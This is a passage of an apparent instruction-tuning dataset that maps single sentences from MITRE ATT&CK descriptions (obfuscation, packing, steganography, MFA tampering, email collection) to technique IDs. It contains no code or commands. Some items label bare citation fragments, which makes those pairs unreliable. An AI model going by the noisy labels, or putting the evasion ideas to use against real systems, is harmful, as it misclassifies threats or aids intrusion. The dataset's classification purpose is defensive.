dynamic API resolution to conceal malware characteristics and functionalities. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various methods may be used to obfuscate malware calls to API functions.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various methods may be used to obfuscate malware calls to API functions. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, hashes of function names are commonly stored in malware in lieu of literal strings.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, hashes of function names are commonly stored in malware in lieu of literal strings. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation:", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash) ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use steganography techniques in order to prevent the detection of hidden information.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use steganography techniques in order to prevent the detection of hidden information. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation:", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "McAfee Malicious Doc Targets Pyeongchang Olympics)", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: McAfee Malicious Doc Targets Pyeongchang Olympics) ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts and executables may contain variables names and other strings that help developers document code functionality.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts and executables may contain variables names and other strings that help developers document code functionality. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018) ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use stripped payloads in order to make malware analysis more difficult.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use stripped payloads in order to make malware analysis more difficult. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, compilers and other tools may provide features to remove or obfuscate strings and symbols.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021) ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform software packing or virtual machine software protection to conceal their code.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform software packing or virtual machine software protection to conceal their code. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Software packing is a method of compressing or encrypting an executable.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Software packing is a method of compressing or encrypting an executable. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packing an executable changes the file signature in an attempt to avoid signature-based detection.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packing an executable changes the file signature in an attempt to avoid signature-based detection. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most decompression techniques decompress the executable code in memory.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most decompression techniques decompress the executable code in memory. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities used to perform software packing are called packers.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities used to perform software packing are called packers. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example packers are MPRESS and UPX.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example packers are MPRESS and UPX. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation:", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Awesome Executable Packing)", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Awesome Executable Packing) ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation:", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Securelist Malware Tricks April 2017)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Securelist Malware Tricks April 2017) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also reduce the likelihood of being collected for analysis.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also reduce the likelihood of being collected for analysis. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)", "output": "T1556.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ### Response: T1556.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target user email to collect sensitive information.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target user email to collect sensitive information. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can collect or forward email from mail servers or clients.", "output": "T1114", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can collect or forward email from mail servers or clients. ### Response: T1114."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. ### 